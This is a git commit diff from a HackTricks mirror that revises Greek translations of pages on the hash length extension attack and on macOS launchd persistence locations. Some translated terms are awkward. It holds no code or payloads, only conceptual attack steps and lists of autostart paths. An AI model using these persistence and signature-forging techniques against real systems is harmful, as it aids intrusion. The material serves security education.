mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 09:27:32 +00:00
Translated ['crypto-and-stego/hash-length-extension-attack.md', 'cryptog
This commit is contained in:
parent
2e7a52b45c
commit
dbb9772cf8
8 changed files with 818 additions and 688 deletions
|
@ -1,20 +1,22 @@
|
|||
# Επίθεση με Επέκταση Μήκους Hash
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
|
||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλων λογισμικών**.
|
||||
|
||||
|
@ -24,44 +26,44 @@
|
|||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
---
|
||||
***
|
||||
|
||||
# Σύνοψη της επίθεσης
|
||||
## Σύνοψη της επίθεσης
|
||||
|
||||
Φανταστείτε ένα διακομιστή που **υπογράφει** κάποια **δεδομένα** με το **προσάρτημα** ενός **μυστικού** σε κάποια γνωστά δεδομένα καθαρού κειμένου και στη συνέχεια κατακερματίζει αυτά τα δεδομένα. Αν γνωρίζετε:
|
||||
Φανταστείτε ένα διακομιστή που **υπογράφει** κάποια **δεδομένα** με το **προσάρτημα** ενός **μυστικού** σε κάποια γνωστά δεδομένα και στη συνέχεια κατακερματίζει αυτά τα δεδομένα. Αν γνωρίζετε:
|
||||
|
||||
* **Το μήκος του μυστικού** (αυτό μπορεί επίσης να αναγνωριστεί με βρόχο από ένα δεδομένο εύρος μήκους)
|
||||
* **Τα δεδομένα καθαρού κειμένου**
|
||||
* **Το μήκος του μυστικού** (αυτό μπορεί επίσης να αναζητηθεί με βρόχο από ένα δεδομένο εύρος μήκους)
|
||||
* **Τα καθαρά δεδομένα**
|
||||
* **Τον αλγόριθμο (και την ευπάθειά του σε αυτήν την επίθεση)**
|
||||
* **Το padding είναι γνωστό**
|
||||
* Συνήθως χρησιμοποιείται ένα προεπιλεγμένο, οπότε αν πληρούνται οι άλλες 3 απαιτήσεις, αυτό επίσης είναι
|
||||
* Το padding διαφέρει ανάλογα με το μήκος του μυστικού+δεδομένων, γι' αυτό χρειάζεται το μήκος του μυστικού
|
||||
* **Η γέμιση είναι γνωστή**
|
||||
* Συνήθως χρησιμοποιείται μια προεπιλεγμένη, οπότε αν πληρούνται τα άλλα 3 απαιτήσεις, αυτή επίσης είναι
|
||||
* Η γέμιση ποικίλλει ανάλογα με το μήκος του μυστικού+δεδομένων, γι' αυτό χρειάζεται το μήκος του μυστικού
|
||||
|
||||
Τότε, είναι δυνατό για έναν **επιτιθέμενο** να **προσαρτήσει** **δεδομένα** και να **δημιουργήσει** μια έγκυρη **υπογραφή** για τα **προηγούμενα δεδομένα + τα προσαρτημένα δεδομένα**.
|
||||
Τότε, είναι δυνατό για έναν **εισβολέα** να **προσαρτήσει** **δεδομένα** και να **δημιουργήσει** μια έγκυρη **υπογραφή** για τα **προηγούμενα δεδομένα + τα προσαρτημένα δεδομένα**.
|
||||
|
||||
## Πώς;
|
||||
### Πώς;
|
||||
|
||||
Βασικά, οι ευάλωτοι αλγόριθμοι δημιουργούν τα κατακερματισμένα δεδομένα αρχικά με το **κατακερματισμό ενός τμήματος δεδομένων**, και στη συνέχεια, **από** το **προηγούμενα** δημιουργημένο **κατακερματισμένο δεδομένο** (κατάσταση), **προσθέτουν το επόμενο τμήμα δεδομένων** και το **κατακερματίζουν**.
|
||||
Βασικά, οι ευάλωτοι αλγόριθμοι δημιουργούν τα κατακερματισμένα δεδομένα αρχικά με το **κατακερματισμό ενός τμήματος δεδομένων**, και στη συνέχεια, **από** το **προηγουμένως** δημιουργημένο **κατακερματισμένο δεδομένο** (κατάσταση), **προσθέτουν το επόμενο τμήμα δεδομένων** και το **κατακερματίζουν**.
|
||||
|
||||
Στη συνέχεια, φανταστείτε ότι το μυστικό είναι "μυστικό" και τα δεδομένα είναι "δεδομένα", το MD5 του "μυστικόδεδομένα" είναι 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Αν ένας επιτιθέμενος θέλει να προσαρτήσει τη συμβολοσειρά "προσάρτηση" μπορεί:
|
||||
Αν ένας εισβολέας θέλει να προσαρτήσει τη συμβολοσειρά "προσάρτηση" μπορεί:
|
||||
|
||||
* Να δημιουργήσει ένα MD5 από 64 "Α"
|
||||
* Να αλλάξει την κατάσταση του προηγουμένως αρχικοποιημένου κατακερματισμένου σε 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
* Να προσαρτήσει τη συμβολοσειρά "προσάρτηση"
|
||||
* Να ολοκληρώσει τον κατακερματισμό και το τελικό κατακερματισμένο δεδομένο θα είναι ένα **έγκυρο για το "μυστικό" + "δεδομένα" + "padding" + "προσάρτηση"**
|
||||
* Να ολοκληρώσει τον κατακερματισμό και το τελικό κατακερματισμένο θα είναι ένα **έγκυρο για το "μυστικό" + "δεδομένα" + "γέμισμα" + "προσάρτηση"**
|
||||
|
||||
## **Εργαλείο**
|
||||
### **Εργαλείο**
|
||||
|
||||
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||
|
||||
## Αναφορές
|
||||
### Αναφορές
|
||||
|
||||
Μπορείτε να βρείτε αυτήν την επίθεση καλά εξηγημένη στο [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλων λογισμικών**.
|
||||
|
||||
|
@ -73,14 +75,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
|
||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,42 +1,42 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Περίληψη της επίθεσης
|
||||
# Σύνοψη της επίθεσης
|
||||
|
||||
Φανταστείτε ένα διακομιστή που **υπογράφει** κάποια **δεδομένα** προσθέτοντας ένα **μυστικό** σε κάποια γνωστά καθαρά δεδομένα και στη συνέχεια κατακερματίζοντας αυτά τα δεδομένα. Εάν γνωρίζετε:
|
||||
Φανταστείτε ένα διακομιστή που **υπογράφει** κάποια **δεδομένα** με το **προσάρτημα** ενός **μυστικού** σε κάποια γνωστά καθαρά δεδομένα και στη συνέχεια κατακερματίζει αυτά τα δεδομένα. Αν γνωρίζετε:
|
||||
|
||||
* **Το μήκος του μυστικού** (αυτό μπορεί επίσης να ανακαλυφθεί με βίαιη δοκιμή από έναν δεδομένο εύρος μήκους)
|
||||
* **Το μήκος του μυστικού** (αυτό μπορεί επίσης να αναζητηθεί με βρόχο από ένα δεδομένο εύρος μήκους)
|
||||
* **Τα καθαρά δεδομένα**
|
||||
* **Τον αλγόριθμο (και τον ευάλωτο σε αυτήν την επίθεση)**
|
||||
* **Το παραμόρφωμα είναι γνωστό**
|
||||
* Συνήθως χρησιμοποιείται ένα προεπιλεγμένο, οπότε αν πληρούνται και οι άλλες 3 απαιτήσεις, αυτό επίσης ισχύει
|
||||
* Το παραμόρφωμα διαφέρει ανάλογα με το μήκος του μυστικού+δεδομένων, γι' αυτό χρειάζεται το μήκος του μυστικού
|
||||
* **Τον αλγόριθμο (και την ευπάθειά του σε αυτήν την επίθεση)**
|
||||
* **Η γέμιση είναι γνωστή**
|
||||
* Συνήθως χρησιμοποιείται μία προεπιλεγμένη, οπότε αν πληρούνται τα άλλα 3 απαιτήματα, αυτό επίσης ισχύει
|
||||
* Η γέμιση ποικίλλει ανάλογα με το μήκος του μυστικού+δεδομένων, γι' αυτό χρειάζεται το μήκος του μυστικού
|
||||
|
||||
Τότε, είναι δυνατό για έναν **επιτιθέμενο** να **προσθέσει** **δεδομένα** και να **δημιουργήσει** μια έγκυρη **υπογραφή** για τα **προηγούμενα δεδομένα + προσθεμένα δεδομένα**.
|
||||
Τότε, είναι δυνατό για έναν **εισβολέα** να **προσαρτήσει** **δεδομένα** και να **δημιουργήσει** μια έγκυρη **υπογραφή** για τα **προηγούμενα δεδομένα + τα προσαρτημένα δεδομένα**.
|
||||
|
||||
## Πώς;
|
||||
|
||||
Βασικά, οι ευάλωτοι αλγόριθμοι δημιουργούν τα κατακερματισμένα δεδομένα αρχικά κατακερματίζοντας ένα μπλοκ δεδομένων και στη συνέχεια, από το προηγούμενο δημιουργημένο κατακερματισμένο δεδομένο (κατάσταση), προσθέτουν το επόμενο μπλοκ δεδομένων και το κατακερματίζουν.
|
||||
Βασικά, οι ευάλωτοι αλγόριθμοι δημιουργούν τα κατακερματισμένα δεδομένα αρχικά με το **κατακερματισμό ενός τμήματος δεδομένων**, και στη συνέχεια, **από** το **προηγουμένως** δημιουργημένο **κατακερματισμένο δεδομένο** (κατάσταση), **προσθέτουν το επόμενο τμήμα δεδομένων** και το **κατακερματίζουν**.
|
||||
|
||||
Έπειτα, φανταστείτε ότι το μυστικό είναι "μυστικό" και τα δεδομένα είναι "δεδομένα", το MD5 του "μυστικόδεδομένα" είναι 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Εάν ένας επιτιθέμενος θέλει να προσθέσει τον χαρακτήρα "προσθήκη" μπορεί:
|
||||
Αν ένας εισβολέας θέλει να προσαρτήσει τη συμβολοσειρά "προσάρτημα" μπορεί:
|
||||
|
||||
* Να δημιουργήσει ένα MD5 από 64 "Α"
|
||||
* Να αλλάξει την κατάσταση του προηγουμένως αρχικοποιημένου κατακερματισμένου δεδομένου σε 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
* Να προσθέσει τον χαρακτήρα "προσθήκη"
|
||||
* Να ολοκληρώσει τον κατακερματισμό και το αποτέλεσμα θα είναι μια **έγκυρη υπογραφή για το "μυστικό" + "δεδομένα" + "παραμόρφωμα" + "προσθήκη"**
|
||||
* Να αλλάξει την κατάσταση του προηγουμένως αρχικοποιημένου κατακερματισμένου σε 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
* Να προσαρτήσει τη συμβολοσειρά "προσάρτημα"
|
||||
* Να ολοκληρώσει τον κατακερματισμό και το τελικό κατακερματισμένο θα είναι ένα **έγκυρο για το "μυστικό" + "δεδομένα" + "γέμισμα" + "προσάρτημα"**
|
||||
|
||||
## **Εργαλείο**
|
||||
|
||||
|
@ -49,12 +49,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Αυτόματη Εκκίνηση στο macOS
|
||||
# Αυτόματη εκκίνηση στο macOS
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -8,56 +8,62 @@
|
|||
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
Αυτή η ενότητα βασίζεται σε μεγάλο βαθμό στη σειρά άρθρων του ιστολογίου [**Πέρα από τα καλά LaunchAgents**](https://theevilbit.github.io/beyond/), με στόχο να προστεθούν **περισσότερες τοποθεσίες Αυτόματης Εκκίνησης** (εάν είναι δυνατό), να υποδειχθεί **ποιες τεχνικές λειτουργούν ακόμα** σήμερα με την τελευταία έκδοση του macOS (13.4) και να καθοριστούν οι **άδειες που απαιτούνται**.
|
||||
Αυτή η ενότητα βασίζεται σε μεγάλο βαθμό στη σειρά άρθρων του ιστολογίου [**Πέρα από τα καλά LaunchAgents**](https://theevilbit.github.io/beyond/), με στόχο την προσθήκη **περισσότερων τοποθεσιών αυτόματης εκκίνησης** (εάν είναι δυνατό), την επισήμανση **ποιες τεχνικές λειτουργούν ακόμα** σήμερα με την τελευταία έκδοση του macOS (13.4) και την καθορισμό των **δικαιωμάτων** που απαιτούνται.
|
||||
|
||||
## Παράκαμψη Αμμοδοχείου
|
||||
## Παράκαμψη Αμμοθερμοκρασίας
|
||||
|
||||
{% hint style="success" %}
|
||||
Εδώ μπορείτε να βρείτε τοποθεσίες εκκίνησης χρήσιμες για τη **παράκαμψη του αμμοδοχείου** που σας επιτρέπει να απλά εκτελέσετε κάτι με το **να το γράψετε σε ένα αρχείο** και να **περιμένετε** για μια πολύ **συνηθισμένη** **ενέργεια**, ένα συγκεκριμένο **χρονικό διάστημα** ή μια **ενέργεια που μπορείτε συνήθως να εκτελέσετε** από μέσα σε ένα αμμοδοχείο χωρίς την ανάγκη ριζικών δικαιωμάτων.
|
||||
Εδώ μπορείτε να βρείτε τοποθεσίες εκκίνησης χρήσιμες για τη **παράκαμψη της αμμοθερμοκρασίας** που σας επιτρέπει να απλά εκτελέσετε κάτι με το **να το γράψετε σε ένα αρχείο** και να **περιμένετε** για μια πολύ **συνηθισμένη** **ενέργεια**, ένα προκαθορισμένο **ποσό χρόνου** ή μια **ενέργεια που μπορείτε συνήθως να εκτελέσετε** από μέσα σε μια αμμοθερμοκρασία χωρίς την ανάγκη ριζικών δικαιωμάτων.
|
||||
{% endhint %}
|
||||
|
||||
### Launchd
|
||||
|
||||
* Χρήσιμο για παράκαμψη αμμοδοχείου: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Χρήσιμο για παράκαμψη αμμοθερμοκρασίας: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Τοποθεσίες
|
||||
|
||||
* **`/Library/LaunchAgents`**
|
||||
* **Ενεργοποίηση**: Επανεκκίνηση
|
||||
* Απαιτούνται ρίζες
|
||||
* Απαιτούνται ρίζια δικαιώματα
|
||||
* **`/Library/LaunchDaemons`**
|
||||
* **Ενεργοποίηση**: Επανεκκίνηση
|
||||
* Απαιτούνται ρίζες
|
||||
* Απαιτούνται ρίζια δικαιώματα
|
||||
* **`/System/Library/LaunchAgents`**
|
||||
* **Ενεργοποίηση**: Επανεκκίνηση
|
||||
* Απαιτούνται ρίζες
|
||||
* Απαιτούνται ρίζια δικαιώματα
|
||||
* **`/System/Library/LaunchDaemons`**
|
||||
* **Ενεργοποίηση**: Επανεκκίνηση
|
||||
* Απαιτούνται ρίζες
|
||||
* Απαιτούνται ρίζια δικαιώματα
|
||||
* **`~/Library/LaunchAgents`**
|
||||
* **Ενεργοποίηση**: Επανασύνδεση
|
||||
* **`~/Library/LaunchDemons`**
|
||||
* **Ενεργοποίηση**: Επανασύνδεση
|
||||
|
||||
{% hint style="success" %}
|
||||
Ως ενδιαφέρουσα πληροφορία, το **`launchd`** έχει ένα ενσωματωμένο αρχείο ιδιοτήτων στην ενότητα Mach-o `__Text.__config` που περιέχει άλλες γνωστές υπηρεσίες που το `launchd` πρέπει να εκκινήσει. Επιπλέον, αυτές οι υπηρεσίες μπορεί να περιέχουν τα `RequireSuccess`, `RequireRun` και `RebootOnSuccess` που σημαίνει ότι πρέπει να εκτελεστούν και να ολοκληρωθούν με επιτυχία.
|
||||
|
||||
Φυσικά, δεν μπορεί να τροποποιηθεί λόγω της υπογραφής κώδικα.
|
||||
{% endhint %}
|
||||
|
||||
#### Περιγραφή & Εκμετάλλευση
|
||||
|
||||
Το **`launchd`** είναι η **πρώτη** **διαδικασία** που εκτελείται από τον πυρήνα του OX S κατά την εκκίνηση και η τελευταία που ολοκληρώνεται κατά τον τερματισμό. Πρέπει πάντα να έχει το **PID 1**. Αυτή η διαδικασία θα **διαβάσει και θα εκτελέσει** τις ρυθμίσεις που υποδεικνύονται στα **plists ASEP** στα:
|
||||
Το **`launchd`** είναι η **πρώτη** **διαδικασία** που εκτελείται από τον πυρήνα του macOS κατά την εκκίνηση και η τελευταία που ολοκληρώνεται κατά τον τερματισμό. Πρέπει πάντα να έχει το **PID 1**. Αυτή η διαδικασία θα **διαβάσει και θα εκτελέσει** τις ρυθμίσεις που υποδεικνύονται στα **ASEP** **plists** σε:
|
||||
|
||||
* `/Library/LaunchAgents`: Πράκτορες ανά χρήστη εγκατεστημένοι από τον διαχειριστή
|
||||
* `/Library/LaunchDaemons`: Δαίμονες παγκόσμιας εμβέλειας εγκατεστημένοι από τον διαχειριστή
|
||||
* `/System/Library/LaunchAgents`: Πράκτορες ανά χρήστη που παρέχονται από την Apple.
|
||||
* `/System/Library/LaunchDaemons`: Δαίμονες παγκόσμιας εμβέλειας που παρέχονται από την Apple.
|
||||
|
||||
Όταν ένας χρήστης συνδέεται, τα plists που βρίσκονται στα `/Users/$USER/Library/LaunchAgents` και `/Users/$USER/Library/LaunchDemons` ξεκινούν με τις **άδειες των συνδεδεμένων χρηστών**.
|
||||
Όταν ένας χρήστης συνδέεται, τα plists που βρίσκονται στα `/Users/$USER/Library/LaunchAgents` και `/Users/$USER/Library/LaunchDemons` ξεκινούν με τα **δικαιώματα των συνδεδεμένων χρηστών**.
|
||||
|
||||
**Η κύρια διαφορά μεταξύ πρακτόρων και δαιμόνων είναι ότι οι πράκτορες φορτώνονται όταν ο χρήστης συνδέεται και οι δαίμονες φορτώνονται κατά την εκκίνηση του συστήματος** (καθώς υπάρχουν υπηρεσίες όπως το ssh που πρέπει να εκτελούνται πριν οποιοσδήποτε χρήστης έχει πρόσβαση στο σύστημα). Επίσης, οι πράκτορες μπορεί να χρησιμοποιούν το γραφικό περιβάλλον, ενώ οι δαίμονες πρέπει να εκτελούνται στο παρασκήνιο.
|
||||
